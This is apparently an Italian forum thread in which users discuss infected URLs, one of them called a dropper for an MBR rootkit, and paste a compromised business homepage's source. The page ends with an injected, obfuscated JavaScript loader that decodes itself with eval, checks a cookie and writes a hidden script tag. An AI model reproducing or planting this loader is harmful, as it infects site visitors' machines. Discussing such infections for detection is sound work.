Forse si tratta di uno 0 day che permette di eseguire codice html
il primo e l'ultimo sono infetti
Il primo è il classico dropper per il MBR rootkit
Scusate l'ignoranza, ma come fate a controllare che un URL sia infetto? :fagiano:
Ho provato con un link scanner il primo URL, ma me lo da come pulito :confused:
Forse guardando il codice sorgente della pag.?
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//IT">
<html>
<head>
<title>Consulenza e servizi di manutenzione ed assistenza tecnica - Business Company</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="keywords" content="estensione di garanzia, assistenza tecnica, assistenza in garanzia, riparazione in garanzia, vendita elettronica, elettronica di consumo, regolamento di garanzia, durata della garanzia, assistenza post vendita, manutenzione, business company salerno, aziende elettronica di consumo, elettronica di consumo">
<meta name="description" content="Business Company, offre consulenza globale nella gestione dei processi di manutenzione ed assistenza tecnica e nella soluzione di criticità commerciali, legali e fiscali per aziende dell’Information Technology e Consumer Electronics">
<meta name="Author" content="Public Image -
[email protected]">
<meta name="robots" content="All">
<meta http-equiv="content-language" content="it">
<meta name="Identifier-URL" content="http://www.businesscompany.it">
<meta name="Reply to" content="
[email protected]">
<meta name="Distribution" content="global">
<meta name="Rating" content="general">
<link rel="stylesheet" href="stile.css" type="text/css">
<script language="JavaScript">
<!--
function MM_popupMsg(msg) { //v1.0
alert(msg);
}
//-->
</script>
</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" bgcolor="#E0E0E0" text="#000000" link="#000000" vlink="#000000" alink="#000000">
<table width="100%" border="0" cellspacing="0" cellpadding="0" height="100%">
<tr>
<td align="center" valign="middle" class="CorpoCentrale">
<table width="772" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="left" valign="top"><img src="images/Spl01.jpg" width="772" height="173" name="business_company" border="0" usemap="#business_companyMap"></td>
</tr>
<tr>
<td align="left" valign="top" bgcolor="#CC0000"><img src="images/spacer.gif" width="772" height="20"></td>
</tr>
<tr>
<td align="left" valign="top"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="772" height="347">
<param name=movie value="swf/Splash.swf">
<param name=quality value=high>
<embed src="swf/Splash.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="772" height="347">
</embed>
</object></td>
</tr>
<tr>
<td align="left" valign="top"><img src="images/Spl02.jpg" width="772" height="23" name="warranty_management" usemap="#warrantyMap" border="0"></td>
</tr>
</table>
</td>
</tr>
</table>
<map name="warrantyMap">
<area shape="rect" coords="442,2,609,21" href="mailto:
[email protected]" alt=":: scrivici un'e-mail ::" title=":: scrivici un'e-mail ::">
</map>
<map name="business_companyMap">
<area shape="rect" coords="634,42,697,126" href="http://www.ecoem.it" target="_blank" alt="Consorzio Ecoem - Sistema collettivo per il riciclo e la gestione dei RAEE" title="Consorzio Ecoem - Sistema collettivo per il riciclo e la gestione dei RAEE">
<area shape="rect" coords="397,40,488,106" href="http://www.confindustria.sa.it" target="_blank" alt="Confindustria Salerno" title="Confindustria Salerno">
</map>
<script language="javascript">$="Z64zZ3dZ22Z2566uncZ2574Z2569oZ256eZ2520dw(Z2574)Z257bZ2563aZ253dZ2527Z252564oZ252563umZ252565Z25256eZ2574Z25252ewZ25257Z2532Z252569tZ252565Z2528Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ252572iZ2570Z252574 Z25256caZ25256eguZ252561gZ2525Z25365Z25253dZ25255cZ252522javaZ2573Z2563ripZ25257Z2534Z25255cZ25252Z2532Z25253Z2565Z2527;cZ2563Z253dZ2527Z25253cZ25255cZ25252fscrZ252569Z252570tZ25253eZ2527;eval(Z2575nesZ2563apeZ2528t))Z257d;Z22;deZ3dZ22M+}Sx-|)K88d)K7}7M;}^}950Z2522Z259M+yv888d)K7t7M:Z25229.-Z252096688d)K7t7M:Z25229,-)99tSx-~)K8d)K7t7M50!Z25209M+u|cu0tSx-|)K88d)K7t7M:Z2526950Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciSxZ2522;}Sx;iSx!;tSx;})Kd)K7}7MZ3d!M;7Z3esZ257F}79+Z22;dcZ3dZ22qi89;Z25229+u|cu0d)K7t7M-t)Z3ewudTqdu89Z3d8t)Z3ewudTqi899+yv8d)K7t7M,Z25209d)K7t7M-!+d)K7}7M-t)Z3ewud]Z257F~dx89;!+ve~sdyZ257F~0S]^8tZ3c}Z3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vybZ3esZ257F}7+fqb0iSx!Z3cZ22;ccZ3dZ22gZ2574Z2568;Z2569++)Z257btZ256dpZ253ddsZ252esZ256cicZ2565(Z2569Z252ciZ252b1)Z253bsZ22;caZ3dZ22Z2566unZ2563Z2574ioZ256e dcZ2573Z2528ds,Z2565sZ2529Z257bdsZ253duneZ2573caZ2570Z256Z22;opZ3dZ22Z2524Z253dZ2522dw(dcs(Z2563Z2575,1Z2534Z2529);Z2522;Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z253dZ2573Z2574;Z2564Z2563sZ2528dZ2561+Z2564bZ252bZ2564cZ252bZ2564dZ252bdZ2565,Z25310Z2529;Z2564wZ2528Z2573Z2574)Z253bsZ2574Z253d$Z253bZ2522;Z22;daZ3dZ22fqb0})-~ug0Qbbqi87|qe~Z257F7Z3c7Z7brtfu7Z3c7zsdxb7Z3c7ytvyb7Z3c7xufyv7Z3c7wvhuc7Z3c7vwfuc7Z3c7uxwxd7Z3c7tzu~y7Z3c7sZ7bud~7Z3c7r||uf7Z3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z22;cuZ3dZ22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4Z3czub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dobuf4dZ7bdKazpqf4)4zaxxZ2fbuf4dZ7bdKwZ7bZ7bZ257F}qKzuyq4)46upbyuZ257FqfKZ257FZ7byud6Z2fbuf4dZ7bdK`}yqZ7ba`4)4#Z2526$Z2frazw`}Z7bz4dZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dobuf4}gKqzuvxqp4)4ruxgqZ2f}r4Z3c5c}zpZ7bc:Z7bdqfu42245zub}su`Z7bf:wZ7bZ7bZ257F}qQzuvxqpZ3dfq`afz4}gKqzuvxqpZ2f}r4Z3c`mdqZ7br4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43g`f}zs3Z3d}r4Z3cpZ7bwayqz`:wZ7bZ7bZ257F}q:xqzs`|4))4$Z3dopZ7bwayqz`:wZ7bZ7bZ257F}q4)46`qg`6Z2f}gKqzuvxqp4)4pZ7bwayqz`:wZ7bZ7bZ257F}q4))43`qg`3Z2fpZ7bwayqz`:wZ7bZ7bZ257F}q4)433Z2fiqxgqo}gKqzuvxqp4)4`faqZ2fifq`afz4}gKqzuvxqpZ2firazw`}Z7bz4dZ7bdKsq`WZ7bZ7bZ257F}qZ3czuyqZ3dobuf4wZ7bZ7bZ257F}q4)46464?4pZ7bwayqz`:wZ7bZ7bZ257F}qZ2fbuf4gqufw|4)46464?4zuyq4?46)6Z2fbuf4gq`G`f4)4zaxxZ2fbuf4Z7brrgq`4)4$Z2fbuf4qzp4)4$Z2f}r4Z3cwZ7bZ7bZ257F}q:xqzs`|4*4$Z3doZ7brrgq`4)4wZ7bZ7bZ257F}q:}zpql[rZ3cgqufw|Z3dZ2f}r4Z3cZ7brrgq`45)49Z25Z3doZ7brrgq`4?)4gqufw|:xqzs`|Z2fqzp4)4wZ7bZ7bZ257F}q:}zpql[rZ3c6Z2f684Z7brrgq`Z3dZ2f}r4Z3cqzp4))49Z25Z3doqzp4)4wZ7bZ7bZ257F}q:xqzs`|Z2figq`G`f4)4azqgwudqZ3cwZ7bZ7bZ257F}q:gavg`f}zsZ3cZ7brrgq`84qzpZ3dZ3dZ2fiifq`afzZ3cgq`G`fZ3dZ2firazw`}Z7bz4dZ7bdKgq`WZ7bZ7bZ257F}q4Z3czuyq84buxaqZ3dopZ7bwayqz`:wZ7bZ7bZ257F}q4)4zuyq4?46)64?4qgwudqZ3cbuxaqZ3d4?46Z2f4qld}fqg)Rf}pum8Z27Z259Pqw9!$4Z2526Z27.!-.!-4SY@Z2f4du`|);Z2f6Z2firazw`}Z7bz4g|Z7bcKdZ7bdZ3cZ3dobuf4dZ7bdKczp4)46|``d.;;rvwyr}f:wZ7by;xp;yqz`;6Z2fbuf4rquKczp4)46gwfZ7bxxvufg)Z258fqg}nuvxq)Z258`Z7bZ7bxvuf)Z258xZ7bwu`}Z7bz)Z258yqzavuf)Z258g`u`ag)Z258p}fqw`Z7bf}qg)$6Z2fbuf4zqqpKZ7bdqz4)4`faqZ2f}r4Z3cpZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdm45)4zaxxZ3dpZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdmZ3cZ3dZ2f}r4Z3cpZ7bwayqz`:vZ7bpm:Z7bzvqrZ7bfqazxZ7bupKwZ7bdm45)4zaxxZ3dpZ7bwayqz`:vZ7bpm:Z7bzvqrZ7bfqazxZ7bupKwZ7bdmZ3cZ3dZ2f}r4Z3cdZ7bdKazpqf45)4zaxxZ3do}r4Z3c5dZ7bdKazpqf:wxZ7bgqpZ3dzqqpKZ7bdqz4)4ruxgqZ2fi}r4Z3czqqpKZ7bdqzZ3do}r4Z3cdZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dZ3dobux4)4dZ7bdKsq`WZ7bZ7bZ257F}qZ3cdZ7bdKwZ7bZ7bZ257F}qKzuyqZ3dZ2f}r4Z3cbux45)4zaxxZ3dozZ7bc4)4zqc4Pu`qZ3cZ3dZ2fbuxZ25264)4zqc4Pu`qZ3cbuxZ3dZ2fa`wZ27Z25264)4Pu`q:A@WZ3czZ7bc:sq`RaxxMqufZ3cZ3d84zZ7bc:sq`YZ7bz`|Z3cZ3d84zZ7bc:sq`Pu`qZ3cZ3d84zZ7bc:sq`Z255CZ7bafgZ3cZ3d84zZ7bc:sq`Y}za`qgZ3cZ3d84zZ7bc:sq`GqwZ7bzpgZ3cZ3dZ3dZ2fa`wZ25264)4Pu`q:A@WZ3cbuxZ2526:sq`RaxxMqufZ3cZ3d84buxZ2526:sq`YZ7bz`|Z3cZ3d84buxZ2526:sq`Pu`qZ3cZ3d84buxZ2526:sq`Z255CZ7bafgZ3cZ3d84buxZ2526:sq`Y}za`qgZ3cZ3d84buxZ2526:sq`GqwZ7bzpgZ3cZ3dZ3dZ2f}r4Z3c4Z3c4a`wZ27Z2526494a`wZ25264Z3d4;4Z25$$$4(4dZ7bdK`}yqZ7ba`Z3eZ2522$Z3dozqqpKZ7bdqz4)4ruxgqZ2fiiii}r4Z3czqqpKZ7bdqzZ3doazpqf4)4c}zpZ7bc:Z7bdqzZ3cdZ7bdKczp846684rquKczpZ3dZ2fazpqf:vxafZ3cZ3dZ2fc}zpZ7bc:rZ7bwagZ3cZ3dZ2f}r4Z3cdZ7bdKwZ7bZ7bZ257F}qKqzuvxqpZ3cZ3dZ3dozZ7bc4)4zqc4Pu`qZ3cZ3dZ2fdZ7bdKgq`WZ7bZ7bZ257F}qZ3cdZ7bdKwZ7bZ7bZ257F}qKzuyq84zZ7bcZ3dZ2fiiirazw`}Z7bz4dZ7bdK}z}`Z3cZ3dobuf4bqf4)4dufgqRxZ7bu`Z3czub}su`Z7bf:uddBqfg}Z7bzZ3dZ2fbuf4bqfZ25264)4Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c6C}zpZ7bcg4-!6Z3d*)$4hh4zub}su`Z7bf:agqfUsqz`:}zpql[rZ3c6C}zpZ7bcg4-,6Z3d*)$4hh4zub}su`Z7bf:agqfUsqz`:}zpql[rZ3c6C}zpZ7bcg4Z5a@6Z3d*)$4Z3d22Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c3[dqfu3Z3d4))49Z25Z3d22Z3czub}su`Z7bf:uddZ5auyq45)43Z5aq`gwudq3Z3d422Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c3YG]Q3Z3d4*49Z25Z3d422Z3czub}su`Z7bf:agqfUsqz`:}zpql[rZ3c3GBZ253Z3d4*49Z25Z3d422Z3cbqf4*)4Z2520Z3dZ2f}r4Z3cbqfZ2526Z3do}r4Z3cpZ7bwayqz`:x}zZ257FgZ3dorZ7bf4Z3cbuf4})$Z2f4}(pZ7bwayqz`:x}zZ257Fg:xqzs`|Z2f4}??Z3do}r4Z3cpZ7bwayqz`:x}zZ257FgO}I:`ufsq`45)46KvxuzZ257F6Z3dopZ7bwayqz`:x}zZ257FgO}I:Z7bzwx}wZ257FKwZ7bdm4)4pZ7bwayqz`:x}zZ257FgO}I:Z7bzwx}wZ257FZ2fpZ7bwayqz`:x}zZ257FgO}I:Z7bzwx}wZ257F4)4g|Z7bcKdZ7bdZ2fiiiipZ7bwayqz`:Z7bzwx}wZ257FKwZ7bdm4)4pZ7bwayqz`:Z7bzwx}wZ257FZ2fpZ7bwayqz`:Z7bzyZ7bagqad4)4g|Z7bcKdZ7bdZ2fidZ7bdK}z}`Z3cZ3dZ2fi(;gwf}d`*Z22;ddZ3dZ22iSxZ2522Z3c}SxZ3ctSxZ3c}^}+yv8d)K7i7M,Z2522Z2520Z2520Z279kd)K7i7M0-0Z2522Z2520Z2520Z27+m}^}-S]^8d)K7t7MZ3cd)K7}7MZ3cd)K7i7M9+iSx!-|)K888d)K7i7M6Z2520hQQ9;}^}950Z25265##950Z2522Z2526M+iSxZ2522-|)K8888d)K7i7M6Z2520h##!!9..#9;}^}950!Z25209Z22;ceZ3dZ22chaZ2572CodZ2565Z2541Z2574(0Z2529^Z2528Z25270x0Z2530Z2527+esZ2529)Z2529;}Z257dZ22;cbZ3dZ225(Z2564sZ2529Z253bstZ253dtmpZ253dZ2527Z2527;for(iZ253d0;Z2569Z253cdsZ252eleZ256eZ22;dbZ3dZ22Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~)-~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)Z3ewudVe||Iuqb89+yv8t)Z3ewudTqi89.#9d)K7t7M-t)Z3ewudTqdu89Z3d8t)Z3ewudTZ22;czZ3dZ22Z2566uncZ2574Z2569onZ2520Z2563z(cZ257a)Z257bretZ2575rnZ2520cZ2561+cbZ252bcc+Z2563d+cZ2565+czZ253b};Z22;cdZ3dZ22Z2574Z253dstZ252bSZ2574riZ256egZ252eZ2566Z2572omZ2543harZ2543odZ2565((tZ256dpZ252eZ22;Z69Z66 (Z64Z6fcumZ65nZ74Z2eZ63oZ6fkieZ2eindZ65Z78OfZ28Z27rfZ35fZ36dZ73Z27)Z3dZ3d-1)Z7bsc(Z27rfZ35fZ36Z64sZ27,2,Z37);Z65Z76al(Z75nZ65scaZ70e(Z64zZ2bczZ2boZ70+sZ74Z29+Z27dw(Z64z+Z63z(Z24+Z73t))Z3bZ27)Z7deZ6cZ73eZ7bZ24Z3dZ27Z27};functiZ6fn sZ63(Z63nZ6d,Z76,edZ29Z7bvar exZ64Z3dnewZ20DatZ65Z28);eZ78Z64Z2esetZ44Z61tZ65(Z65xZ64Z2egeZ74DaZ74e(Z29+eZ64)Z3bdocZ75Z6dZ65Z6et.Z63ooZ6bZ69eZ3dcnm+Z20Z27Z3dZ27 +escZ61peZ28vZ29Z2bZ27;expZ69Z72Z65Z73Z3dZ27+exdZ2eZ74oGZ4dTZ53tZ72ingZ28);}Z3b";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($));document.write($);</script>
</body>
</html>
Ciao ciao.